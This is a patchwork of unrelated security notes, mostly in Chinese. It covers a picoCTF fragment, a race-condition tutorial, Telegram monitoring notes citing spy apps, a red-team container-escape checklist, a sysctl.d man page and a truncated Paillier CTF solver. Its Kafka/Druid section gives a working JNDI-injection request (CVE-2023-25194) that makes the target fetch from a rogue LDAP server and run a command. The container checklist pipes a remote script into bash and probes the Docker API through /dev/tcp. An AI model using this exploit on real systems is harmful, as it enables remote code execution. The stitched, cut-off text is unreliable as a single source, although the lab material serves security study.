close_fd(proc.stdin); close_fd(proc.stdout); close_fd(proc.stderr); waitpid(proc.pid, &status, 0); return EXIT_SUCCESS; } ``` We can compile it with `gcc main.c -o main -O3` in order to enable the highest optimization level. Output: ```console root@kali:/media/sf_CTFs/pico/Times_Up_Again# gcc main.c -o main -O3 root@kali:/media/sf_CTFs/pico/Times_Up_Again# scp main [email protected]:/home/dvdalt main 100% 17KB 17.3KB/s 00:01 dvdalt@pico-2019-shell1:~$ cd /problems/time-s-up--again-_2_55710a2388cfe35ec1afa8221b3f1ded dvdalt@pico-2019-shell1:/problems/time-s-up--again-_2_55710a2388cfe35ec1afa8221b3f1ded$ ~/main Expression: (((((1644541454) * (-1558748964)) * ((-1915732918) * (-537296725))) * (((-1229945264) + (-1124190767)) - ((-1075073684) - (616112321)))) - ((((201901501) * (-718856452)) + ((-114663071) - (1054737896))) - ((((652115406) * (-2075635321)) - ((1592210214) - (-870393698))) * (((1283042663) - (1137700101)) + ((1222165819) - (1980696317)))))) Result: 2936000942653684315 picoCTF{Hasten. Hurry. Ferrociously Speedy. #3230cac7} ```
sec-knowleage
# Race Condition ## 概述 条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现 bug。这个术语最初来自于两个电信号互相竞争来影响输出结果。 条件竞争主要出现在如下领域 - 电子系统,尤其是逻辑电路 - 计算机,尤其是多线程程序和分布式程序。 由于目前的系统中大量采用并发编程,经常对资源进行共享,往往会产生条件竞争漏洞。 这里我们主要考虑计算机程序方面的条件竞争。当一个软件的运行结果依赖于进程或者线程的顺序时,就可能会出现条件竞争。简单考虑一下,可以知道条件竞争需要如下的**条件**: - 并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。 - 共享对象,即多个并发流会访问同一对象。**常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。**此外,我们称访问共享对象的代码为**临界区**。在正常写代码时,这部分应该加锁。 - 改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。 由于在并发时,执行流的不确定性很大,条件竞争相对**难察觉**,并且在**复现和调试方面会比较困难**。这给修复条件竞争也带来了不小的困难。 条件竞争造成的影响也是多样的,轻则程序异常执行,重则程序崩溃。如果条件竞争漏洞被攻击者利用的话,很有可能会使得攻击者获得相应系统的特权。 这里举一个简单的例子。 ```c #include <pthread.h> #include <stdio.h> int counter; void *IncreaseCounter(void *args) { counter += 1; sleep(0.1); printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(), counter); } int main() { pthread_t p[10]; for (int i = 0; i < 10; ++i) { pthread_create(&p[i], NULL, IncreaseCounter, NULL); } for (int i = 0; i < 10; ++i) { pthread_join(p[i], NULL); } return 0; } ``` 一般来说,我们可能希望按如下方式输出 ```shell ➜ 005race_condition ./example1 Thread 1859024640 has counter value 1 Thread 1841583872 has counter value 2 Thread 1832863488 has counter value 3 Thread 1824143104 has counter value 4 Thread 1744828160 has counter value 5 Thread 1736107776 has counter value 6 Thread 1727387392 has counter value 7 Thread 1850304256 has counter value 8 Thread 1709946624 has counter value 9 Thread 1718667008 has counter value 10 ``` 但是,由于条件竞争的存在,最后输出的结果往往不尽人意 ```c ➜ 005race_condition ./example1 Thread 1417475840 has counter value 2 Thread 1408755456 has counter value 2 Thread 1391314688 has counter value 8 Thread 1356433152 has counter value 8 Thread 1365153536 has counter value 8 Thread 1373873920 has counter value 8 Thread 1382594304 has counter value 8 Thread 1400035072 has counter value 8 Thread 1275066112 has counter value 9 Thread 1266345728 has counter value 10 ``` 仔细思考一下条件竞争为什么可能会发生呢?以下面的为具体的例子 - 程序首先执行了action1,然后执行了action2。其中 action 可能是应用级别的,也可能是操作系统级别的。正常来说,我们希望程序在执行 action2 时,action1 所产生的条件仍然是满足的。 - 但是由于程序的并发性,攻击者很有可能可以在 action2 执行之前的这个短暂的时间窗口中破坏 action1 所产生的条件。这时候攻击者的操作与 action2 产生了条件竞争,所以可能会影响程序的执行效果。 所以我认为问题的根源在于程序员虽然假设某个条件在相应时间段应该是满足的,但是往往条件可能会在这个很小的时间窗口中被修改。**虽然这个时间的间隔可能非常小,但是攻击者仍然可能可以通过执行某些操作(如计算密集型操作,Dos攻击)使得受害机器的处理速度变得相对慢一些。** ## 形式 常见的条件竞争有以下形式。 ### CWE-367: TOCTOU Race Condition #### 描述 TOCTOC (Time-of-check Time-of-use) 指的是程序在使用资源(变量,内存,文件)前会对进行检查,但是在程序使用对应的资源前,该资源却被修改了。 下面给出一些更加具体的例子。 #### CWE-365: Race Condition in Switch 当程序正在执行 switch 语句时,如果 switch 变量的值被改变,那么就可能造成不可预知的行为。尤其在case 语句后不写 break 语句的代码,一旦 switch 变量发生改变,很有可能会改变程序原有的逻辑。 #### CWE-363: Race Condition Enabling Link Following 我们知道 Linux 中提供了两种对于文件的命名方式 - 文件路径名 - 文件描述符 但是,将这两种命名解析到相应对象上的方式有所不同 - 文件路径名在解析的时候是通过传入的路径(文件名,硬链接,软连接)**间接解析**的,其传入的参数并不是相应文件的真实地址(inode)。 - 文件描述符通过访问直接指向文件的指针来解析。 正是由于间接性,产生了上面我们所说的时间窗口。 以下面的代码为例子,程序在访问某个文件之前,会检查是否存在,之后会打开文件然后执行操作。但是如果在检查之后,真正使用文件之前,攻击者将文件修改为某个符号链接,那么程序将访问错误的文件。 这种条件竞争出现的问题的根源在于文件系统中的名字对象绑定的问题。而下面的函数都会使用文件名作为参数:access(), open(), creat(), mkdir(), unlink(), rmdir(), chown(), symlink(), link(), rename(), chroot(),… 那该如何避免这个问题呢?我们可以使用 fstat 函数来读取文件的信息并把它存入到stat结构体中,然后我们可以将该信息与我们已知的信息进行比较来判断我们是否读入了正确的信息。其中,stat结构体中的 `st_ino` 和 `st_dev` 变量可以唯一表示文件 - `st_ino` ,包含了文件的序列号,即 `i-node` - `st_dev` ,包含了文件对应的设备。 ### CWE-364: Signal Handler Race Condition #### 概述 条件竞争经常会发生在信号处理程序中,这是因为信号处理程序支持异步操作。尤其是当信号处理程序是**不可重入**的或者状态敏感的时候,攻击者可能通过利用信号处理程序中的条件竞争,可能可以达到拒绝服务攻击和代码执行的效果。比如说,如果在信号处理程序中执行了free操作,此时又来了一个信号,然后信号处理程序就会再次执行free操作,这时候就会出现 double free 的情况,再稍微操作一下,就可能可以达到任意地址写的效果了。 一般来说,与信号处理程序有关的常见的条件竞争情况有 - 信号处理程序和普通的代码段共享全局变量和数据段。 - 在不同的信号处理程序中共享状态。 - 信号处理程序本身使用不可重入的函数,比如 malloc 和 free 。 - 一个信号处理函数处理多个信号,这可能会进而导致use after free 和 double free 漏洞。 - 使用 setjmp 或者 longjmp 等机制来使得信号处理程序不能够返回原来的程序执行流。 #### 线程安全与可重入 这里说明一下线程安全与可重入的关系。 - 线程安全 - 即该函数可以被多个线程调用,而不会出现任何问题。 - 条件 - 本身没有任何共享资源 - 有共享资源,需要加锁。 - 可重用 - 一个函数可以被多个实例可以同时运行在相同的地址空间中。 - 可重入函数可以被中断,并且其它代码在进入该函数时,不会丢失数据的完整性。所以可重入函数一定是线程安全的。 - 可重入强调的是单个线程执行时,重新进入同一个子程序仍然是安全的。 - 不满足条件 - 函数体内使用了静态数据结构,并且不是常量 - 函数体内使用了malloc 或者 free 函数 - 函数使用了标准 IO 函数。 - 调用的函数不是可重入的。 - 可重入函数使用的所有变量都保存在[调用栈](https://zh.wikipedia.org/wiki/%E8%B0%83%E7%94%A8%E6%A0%88)的当前[函数栈](https://zh.wikipedia.org/w/index.php?title=%E5%87%BD%E6%95%B0%E6%A0%88&action=edit&redlink=1)(frame)上。 ## 防范 如果想要消除条件竞争,那么首要的目标是找到竞争窗口(race windows)。 所谓竞争窗口,就是访问竞争对象的代码段,这给攻击者相应的机会来修改相应的竞争对象。 一般来说,如果我们可以使得冲突的竞争窗口相互排斥,那么就可以消除竞争条件。 ### 同步原语 一般来说,我们会使用同步原语来消除竞争条件。常见的如下 - 锁变量 - 通常互斥琐,在等待期间放弃CPU,进入idle状态,过一段时间自动尝试。 - 自旋锁(spinlock),在等待期间不放弃CPU,一直尝试。 - 条件变量 - **条件变量是用来等待而不是用来上锁的。条件变量用来自动阻塞一个线程,直到某特殊情况发生为止。通常条件变量和互斥锁同时使用。** - 临界区对象,CRITICAL_SECTION - 信号量(semaphore),控制可访问某个临界区的线程数量,一般比1大。 - 管道,指用于连接一个读进程和一个写进程以实现它们之间通信的一个共享文件。其生存期不超过创建管道的进程的生存期。 - 命名管道,生存期可以与操作系统运行期一样长。 ``` # 创建管道 mkfifo my_pipe # gzip从给定的管道中读取数据,并把数据压缩到out.gz中 gzip -9 -c < my_pipe > out.gz & # 给管道传输数据 cat file > my_pipe ``` ### 死锁 #### 概述 当同步原语使用的不恰当的时候,进程就可能会出现死锁。当两个或两个以上的执行流互相阻塞导致都不能继续执行,死锁就会发生。其实,死锁主要是因为在冲突的执行流中,出现了循环等待的执行流,即循环等待中的每一个执行流都获得一个资源,同时试图获得下一个资源。下图所示,P1、P2 两个进程都需要资源才能继续运行。P1 拥有资源 R2、还需要额外资源 R1 才能运行;P2 拥有资源 R1、还需要额外资源 R2 才能运行,两边都在互相等待而没有任何一个可运行。 一般来说,死锁有以下四个必要条件 - 互斥,资源是互斥的。 - 持有和等待,持有已有的资源,同时等待使用下一个资源。 - 不可抢占,进程所获得的资源在未使用完毕之前,资源申请者不能强行地从资源占有者手中夺取资源,而只能由该资源的占有者进程自行释放。 - 循环等待,循环等待资源。 而如果想要消除死锁,也就是打破上面的四个必要条件。 此外,死锁可能来源于以下的原因 - 处理器速度 - 进程或者线程调度算法的变动 - 在执行的过程中,不同内存的限制。 - 任何能够中断程序执行的异步事件。 #### 影响 死锁一般情况下会造成拒绝服务攻击。 ## 检测 那么,说到这里,我们有没有可能来检测条件竞争漏洞呢?目前也确实有这方面的研究,也是主要从静态分析和动态分析两个方面来检测。 ### 静态检测 目前已知的静态检测工具有 - [Flawfinder](http://www.dwheeler.com/flawfinder/) - 目标:C/C++源码 - 步骤 - 建立漏洞数据库 - 进行简单的文本模式匹配,没有任何的数据流或控制流分析 - [ThreadSanitizer](https://github.com/google/sanitizers) - 目标:C++和GO - 实现:LLVM ### 动态检测 - [Intel Inspector](https://en.wikipedia.org/wiki/Intel_Inspector) - [Valgrind](https://en.wikipedia.org/wiki/Valgrind) # 参考 - http://www.teraits.com/pitagoras/marcio/segapp/05.ppt - http://repository.root-me.org/Programmation/C%20-%20C++/EN%20-%20Secure%20Coding%20in%20C%20and%20C++%20Race%20Conditions.pdf - https://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-tsyrklevich/bh-eu-04-tsyrklevich.pdf - https://xinhuang.github.io/posts/2014-09-23-detect-race-condition-using-clang-thread-sanitizer.html - https://llvm.org/devmtg/2011-11/Hutchins_ThreadSafety.pdf - http://www.cnblogs.com/biyeymyhjob/archive/2012/07/20/2601655.html - http://www.cnblogs.com/huxiao-tee/p/4660352.html - https://github.com/dirtycow/dirtycow.github.io
sec-knowleage
# 电报监控平台建设 ## 现有思路 ### 思路一 网页版登入,爬虫获取群组聊天内容 ### 思路二 使用Telegram Bot获取群组聊天内容,解决验证问题 ### 思路三 ✔ 借助Telegram API,[tdlib](https://core.telegram.org/tdlib),使用python收发信息,收到的信息格式化后用Flask Web呈现 > TDLib can be used from Python through the JSON interface. ### 思路四 ❌ 捕获网路数据包,解密HTTPS包,获取相关信息 > 为了使Wireshark解密数据包,它需要访问Telegram使用的加密密钥,而该密钥不能直接访问。您将需要某种方式来访问Telegram使用的内存,弄清楚该内存的哪一部分是加密密钥,然后使用该密钥解密数据。 > > https://security.stackexchange.com/questions/194863/how-can-i-sniff-telegram-packets-before-they-get-encrypted ## 搭建步骤 ### 构建tdlib 项目官网:https://github.com/tdlib/td 项目根目录下有个build.html,可以选择自己的平台信息,生成响应的构建命令,比较方便 ### 使用example 项目根目录下有个example文件夹,里面是构建不同平台telegram的示例 ### python-telegram https://github.com/alexander-akhmetov/python-telegram 另一个项目,编写好的tdlib Python API,更加方便的进行调用 ```bash 2020-05-25 02:00:45,867 [INFO] telegram.client: Sending encryption key Traceback (most recent call last): File "./echo_bot.py", line 31, in <module> tg.login() File "/usr/local/lib/python3.7/dist-packages/telegram/client.py", line 496, in login result.wait(raise_exc=True) File "/usr/local/lib/python3.7/dist-packages/telegram/utils.py", line 45, in wait raise RuntimeError(f'Telegram error: {self.error_info}') RuntimeError: Telegram error: {'@type': 'error', 'code': 400, 'message': 'Wrong password', '@extra': {'request_id': 'updateAuthorizationState'}} ``` 第一次登入成功后,后面的login均出现了这个错误,待解决 [TODO]😳 ## 参考的产品 [1] https://ikeymonitor.tw/telegram-spy-app [2] Telegram Spyware, https://www.iavcei.org/5-best-telegram-spy-app-in-2020/ ## References
sec-knowleage
--- title: 容器逃逸方法检测指北 --- <center><h1>容器逃逸方法检测指北</h1></center> --- ## 0x00 前言 最近发现有关容器逃逸的文章大多覆盖的方法不全,而且有些缺少相应的检测方法,导致 RT 在拿到一个容器权限时,比较难以判断这个容器存在哪些逃逸方法。 本文尽可能覆盖全容器逃逸检测的方法,并尽可能的给出在容器内部就能检测的方法,这样 RT 在容器内运行一下命令,根据返回的结果就能判断有没有这个漏洞了。 针对这些检测方法,我这边也写了相应的脚本,方便在容器内部一键检测,脚本放到文章底部了。 对于一些无法直接在容器内部检测到的逃逸方法,这里是不列举的,如果读者知道其他逃逸漏洞的检测方法,欢迎留言或者给脚本提 PR ### 判断是否为容器环境 首先对于 RT 而言,需要先判断当前环境是不是容器环境,可以直接使用下面的命令去判断 ```bash cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker" ``` 如果返回 Is Docker,说明当前是 Docker 容器环境,反之亦然。 ### 容器逃逸介绍 在开始之前对于容器逃逸主要有以下三种方法: 1. 不安全的配置 2. 相关程序漏洞 3. 内核漏洞 这里分别列举一下每种逃逸的检测方法,这样在拿到一个容器权限的时候,本文可以起到一个手册的作用。 RT 可以通过本文中所提到的检测方法,判断出当前容器可能存在哪种逃逸漏洞,从而采取对应的逃逸方法。 *注意:* 1. *以下检测方法大多是基于笔者自己的经验,可能会存在误检或者漏检的情况,如果读者发现,欢迎留言或者给脚本提 Issue* 2. *由于「相关程序漏洞」这种逃逸方法需要根据目标 Docker 的版本去判断,这里暂时没想到从容器内部获取 Docker 版本的方法,因此脚本暂时还不支持这块的检测。* ## 0x01 不安全的配置 ### 1、特权模式 执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式 ```bash cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode" ``` 如果返回 Not privileged mode 则说明当前不是特权模式 ### 2、挂载 Docker Socket 执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket ```bash ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted." ``` 如果返回 Docker Socket is not mounted. 则说明没有挂载 ### 3、挂载 procfs 执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs ```bash find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted." ``` 如果返回 Procfs is not mounted. 则说明没有挂载 ### 4、挂载宿主机根目录 执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载 ```bash find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted." ``` 如果返回 Root directory is not mounted. 则说明没有挂载 ### 5、Docker remote api 未授权访问 执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问 ```bash IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed." ``` 如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问 ## 0x02 内核漏洞 ### 1、CVE-2016-5195 DirtyCow 逃逸 执行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。 ### 2、CVE-2020-14386 执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。 ### 3、CVE-2022-0847 DirtyPipe 逃逸 执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。 ## 0x03 容器逃逸检测脚本 项目地址:https://github.com/teamssix/container-escape-check 直接在容器中执行以下命令即可 ```bash wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O -| bash ``` 不过大多容器可能没有 wget 命令,因此可以将脚本先克隆到本地,然后上传到容器再执行 ```bash git clone https://github.com/teamssix/container-escape-check.git cd container-escape-check chmod +x container-escape-check.sh ./container-escape-check.sh ``` ![](/img/1649924405.png) > 参考资料: > > 《云原生安全-攻防实践与体系构建》 > > [https://github.com/brant-ruan/awesome-container-escape](https://github.com/brant-ruan/awesome-container-escape) > > 原文链接:[https://zone.huoxian.cn/d/990](https://zone.huoxian.cn/d/990) <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月14日" } } </script>
sec-knowleage
# pyc --- ## 编译成 pyc **cli** ``` python -m py_compile test.py ``` **代码** ```py import py_compile py_compile.compile("test.py") ``` --- ## pyc 反编译 - [python反编译](https://tool.lu/pyc)
sec-knowleage
'\" t .TH "SYSCTL\&.D" "5" "" "systemd 231" "sysctl.d" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" sysctl.d \- 在启动时配置内核参数 .SH "SYNOPSIS" .PP /etc/sysctl\&.d/*\&.conf .PP /run/sysctl\&.d/*\&.conf .PP /usr/lib/sysctl\&.d/*\&.conf .SH "描述" .PP 在系统启动时, \fBsystemd-sysctl.service\fR(8) 根据上面列出的配置文件设置 \m[blue]\fBsysctl(8)\fR\m[]\&\s-2\u[1]\d\s+2 内核参数。 .SH "配置文件格式" .PP 配置文件的格式是 一系列"KEY=VALUE"行(每行一对)。 空行以及以 "#" 或 ";" 开头的行都将被忽略。 .PP 注意,在KEY内部,可以使用 "/" 或 "\&." 作为分隔符。 如果第一个分隔符是 "/" , 那么其余的分隔符将保持原样; 如果第一个分隔符是 "\&." ,那么互换所有的 "/" 与 "\&." ; 例如,"kernel\&.domainname=foo" 等价于 "kernel/domainname=foo" ,都会将 "foo" 写入 /proc/sys/kernel/domainname 参数中。 同样的,"net\&.ipv4\&.conf\&.enp3s0/200\&.forwarding" 等价于 "net/ipv4/conf/enp3s0\&.200/forwarding" , 都是指 /proc/sys/net/ipv4/conf/enp3s0\&.200/forwarding 参数。 .PP sysctl\&.d/ 中的设置将在系统启动的早期被应用。 针对网络接口的配置, 则会在对应的网络接口出现的时候被应用, 具体说来就是 net\&.ipv4\&.conf\&.*, net\&.ipv6\&.conf\&.*, net\&.ipv4\&.neigh\&.*, net\&.ipv6\&.neigh\&.* 参数。 .PP 许多 sysctl 参数仅在加载相应的内核模块之后才可用。 因为内核模块是按需动态加载的 (例如在插入新硬件或启动网络时), 所以在系统启动早期运行的 \fBsystemd-sysctl.service\fR(8) 无法设置那些依赖于特定内核模块的参数。 对于这些参数, 首选的方法是通过 \fBudev\fR(7) 规则来设置, 次选的方法是将这些模块添加到 \fBmodules-load.d\fR(5) 中, 因为 \fBmodules-load.d\fR(5) 中的模块会在运行 \fBsystemd-sysctl.service\fR(8) 前被无条件的静态加载(参见"例子"小节)。 .SH "配置目录及其优先级" .PP 配置文件依次从 /etc/, /run/, /usr/lib/ 目录中读取。 配置文件的名称必须符合 \fIfilename\fR\&.conf 格式。 对于不同目录下的同名配置文件,仅以优先级最高的目录中的那一个为准。 具体说来就是: /etc/ 的优先级最高、 /run/ 的优先级居中、 /usr/lib/ 的优先级最低。 .PP 软件包应该将自带的配置文件安装在 /usr/lib/ 目录中。 /etc/ 目录仅供系统管理员使用。 所有的配置文件(无论位于哪个目录中),统一按照文件名的字典顺序处理。 如果在多个配置文件中设置了同一个选项, 那么仅以文件名最靠后(字典顺序)的那一个为准。 为了便于排序,建议给所有配置文件 都加上两位十进制数字的文件名前缀。 .PP 如果系统管理员想要屏蔽 /usr/lib/ 目录中的某个配置文件, 那么最佳做法是在 /etc/ 目录中 创建一个指向 /dev/null 的同名符号链接, 即可彻底屏蔽 /usr/lib/ 目录中的同名文件。 如果软件包自带的某个配置文件位于 initrd 镜像中, 那么还必须重新生成 initrd 镜像。 .SH "例子" .PP \fBExample\ \&1.\ \&设置内核YP域名\fR .PP /etc/sysctl\&.d/domain\-name\&.conf: .sp .if n \{\ .RS 4 .\} .nf kernel\&.domainname=example\&.com .fi .if n \{\ .RE .\} .PP \fBExample\ \&2.\ \&利用udev规则设置动态内核模块的参数(方法一)\fR .PP /etc/udev/rules\&.d/99\-bridge\&.rules: .sp .if n \{\ .RS 4 .\} .nf ACTION=="add", SUBSYSTEM=="module", KERNEL=="br_netfilter", \e RUN+="/usr/lib/systemd/systemd\-sysctl \-\-prefix=/net/bridge" .fi .if n \{\ .RE .\} .PP /etc/sysctl\&.d/bridge\&.conf: .sp .if n \{\ .RS 4 .\} .nf net\&.bridge\&.bridge\-nf\-call\-ip6tables = 0 net\&.bridge\&.bridge\-nf\-call\-iptables = 0 net\&.bridge\&.bridge\-nf\-call\-arptables = 0 .fi .if n \{\ .RE .\} .PP 因为此方法在加载模块的同时设置模块的参数, 所以仅在加载 br_netfilter 模块之后才能过滤桥接包, 若不想过滤桥接包, 只要不加载 br_netfilter 模块即可。 .PP \fBExample\ \&3.\ \&利用 modules\-load\&.d 目录设置动态内核模块的参数(方法二)\fR .PP /etc/modules\-load\&.d/bridge\&.conf: .sp .if n \{\ .RS 4 .\} .nf br_netfilter .fi .if n \{\ .RE .\} .PP /etc/sysctl\&.d/bridge\&.conf: .sp .if n \{\ .RS 4 .\} .nf net\&.bridge\&.bridge\-nf\-call\-ip6tables = 0 net\&.bridge\&.bridge\-nf\-call\-iptables = 0 net\&.bridge\&.bridge\-nf\-call\-arptables = 0 .fi .if n \{\ .RE .\} .PP 因为此方法总是无条件的加载 br_netfilter 模块, 并且总是无条件的设置模块的参数, 所以总是无条件的过滤桥接包,若不想过滤桥接包, 必须主动卸载 br_netfilter 模块。 .SH "参见" .PP \fBsystemd\fR(1), \fBsystemd-sysctl.service\fR(8), \fBsystemd-delta\fR(1), \m[blue]\fBsysctl(8)\fR\m[]\&\s-2\u[1]\d\s+2, \fBsysctl.conf\fR(5), \fBmodprobe\fR(8) .SH "NOTES" .IP " 1." 4 sysctl(8) .RS 4 \%[set $man.base.url.for.relative.links]//man/sysctl.html .RE .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
# Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194) Apache Kafka是一个开源分布式消息队列,Kafka clients是相对应的Java客户端。 在版本3.3.2及以前,Apache Kafka clients中存在一处JNDI注入漏洞。如果攻击者在连接的时候可以控制属性`sasl.jaas.config`的值为`com.sun.security.auth.module.JndiLoginModule`,则可以发起JNDI连接,进而导致JNDI注入漏洞,执行任意命令。 由于这个漏洞是存在于Java库kafka-clients中,所以我们需要在真实环境下找到使用了这个库的软件,且用户可以控制连接参数。 这个软件就是Apache Druid,其使用kafka-clients来连接Kafka作为其数据源之一。这篇指南就来演示如何利用CVE-2023-25194来攻击Apache Druid。 参考链接: - <https://nvd.nist.gov/vuln/detail/CVE-2023-25194> - <https://github.com/projectdiscovery/nuclei-templates/blob/5d90e8275084b0ae9166ec38cacd22e5a5a94fb8/http/vulnerabilities/apache/apache-druid-kafka-connect-rce.yaml> - <https://hackerone.com/reports/1529790> ## 漏洞环境 执行如下命令启动一个Apache Druid 25.0.0服务,其内部使用的kafka-clients版本是3.3.1: ``` docker compose up -d ``` 服务启动后,访问`http://your-ip:8888`即可查看到Apache Druid主页。 ## 漏洞复现 首先,使用[JNDIExploit](https://github.com/vulhub/JNDIExploit)启动一个恶意的JNDI服务器: ![](1.png) 可见,这个工具给出了很多利用方法,我们使用`ldap://roguo-jndi-server:1389/Basic/Command/Base64/[base64_encoded_cmd]`,将命令`id > /tmp/success`编码后放在URL中。 将这个恶意LDAP URL放在下面这个请求中,并发送: ``` POST /druid/indexer/v1/sampler?for=connect HTTP/1.1 Host: your-ip:8888 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/json Content-Length: 1792 { "type":"kafka", "spec":{ "type":"kafka", "ioConfig":{ "type":"kafka", "consumerProperties":{ "bootstrap.servers":"127.0.0.1:6666", "sasl.mechanism":"SCRAM-SHA-256", "security.protocol":"SASL_SSL", "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://roguo-jndi-server:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" }, "topic":"test", "useEarliestOffset":true, "inputFormat":{ "type":"regex", "pattern":"([\\s\\S]*)", "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965", "columns":[ "raw" ] } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"!!!_no_such_column_!!!", "missingValue":"1970-01-01T00:00:00Z" }, "dimensionsSpec":{ }, "granularitySpec":{ "rollup":false } }, "tuningConfig":{ "type":"kafka" } }, "samplerConfig":{ "numRows":500, "timeoutMs":15000 } } ``` ![](2.png) 进入容器后可见`id > /tmp/success`已经成功执行: ![](3.png)
sec-knowleage
import re from Crypto.Util.number import getPrime from crypto_commons.asymmetric.asymmetric import paillier_encrypt_simple, paillier_decrypt from crypto_commons.generic import long_to_bytes, bytes_to_long from crypto_commons.netcat.netcat_commons import nc, receive_until_match, send from crypto_commons.rsa.rsa_commons import modinv def command(s, data, command): send(s, command) res = receive_until_match(s, "input: ") send(s, data.encode("hex")) res = receive_until_match(s, ".*\n") return re.findall("(.*)\s+", res)[0] def enc(s, data): return command(s, data, 'A') def dec(s, data): return command(s, data, 'B') def recover_modulus(enc, dec, bitsize): for bit in range(bitsize - 1, -1, -1): payload = 2 ** bit e = enc(long_to_bytes(payload)).decode("hex") result = dec(e) if result == '00': start_bit = bit break print('start bit', start_bit) payload = 2 ** start_bit # 100000... for bit in range(start_bit - 1, 7, -1): payload ^= 2 ** bit print(bin(payload)) e = enc(long_to_bytes(payload)).decode("hex") result = dec(e) if result != '00': # didn't work, set the bit back payload ^= 2 ** bit print('almost modulus', payload) too_large = payload ^ 0xff e = enc(long_to_bytes(too_large)).decode("hex") result = int(dec(e), 16) for i in range(256): potential_n = payload ^ i mod = too_large % potential_n if mod == result: return potential_n def recover_flag(dec, flag, n, bitsize, known_suffix=''): f = '' divisor = modinv(2 ** 8, n) for last_byte in known_suffix[::-1]: # strip known suffix sub = paillier_encrypt_simple(n - bytes_to_long(last_byte), n + 1, n) flag = flag * sub % (n * n) flag = pow(flag, divisor, n * n) for i in range(14): last_byte = dec(long_to_bytes(flag)).decode("hex") if last_byte == '': return f[::-1] + known_suffix f += last_byte print(f[::-1] + known_suffix) sub = paillier_encrypt_simple(n - bytes_to_long(last_byte), n + 1, n) flag = flag * sub % (n * n) flag = pow(flag, divisor, n * n) return f[::-1] + known_suffix def main(): bitsize = 1024 url = "13.112.92.9" port = 21701 s = nc(url, port) data = receive_until_match(s, "cmd:") flag = int(re.findall('Here is the flag!\s*(.*)\s*cmd:', data)[0], 16) print(flag) encryptor = lambda data: enc(s, data) decryptor = lambda data: dec(s, data) n = recover_modulus(encryptor, decryptor, bitsize) print('modulus', n) known_flag_suffix = "_paillier!!}\n" print(recover_flag(decryptor, flag, n, bitsize, known_flag_suffix)) pass main() def sanity_recover_modulus(): bitsize = 256 p = getPrime(bitsize / 2) q = getPrime(bitsize / 2) n = p * q print(n) print(bin(n)) def decryptor(p, q, data): data = bytes_to_long(data) decrypted = paillier_decrypt(data, [p, q], (p * q) + 1) to_bytes = long_to_bytes(decrypted) return to_bytes.encode("hex")[-2:] def encryptor(p, q, data): data = bytes_to_long(data) encrypted = paillier_encrypt_simple(data, (p * q) + 1, p * q) to_bytes = long_to_bytes(encrypted) return to_bytes.encode("hex") enc, dec = lambda data: encryptor(p, q, data), lambda data: decryptor(p, q, data) recovered = recover_modulus(enc, dec, bitsize) print(recovered) print(bin(recovered)) # sanity_recover_modulus() def sanity_recover_flag(): bitsize = 512 p = getPrime(bitsize / 2) q = getPrime(bitsize / 2) n = p * q flag = 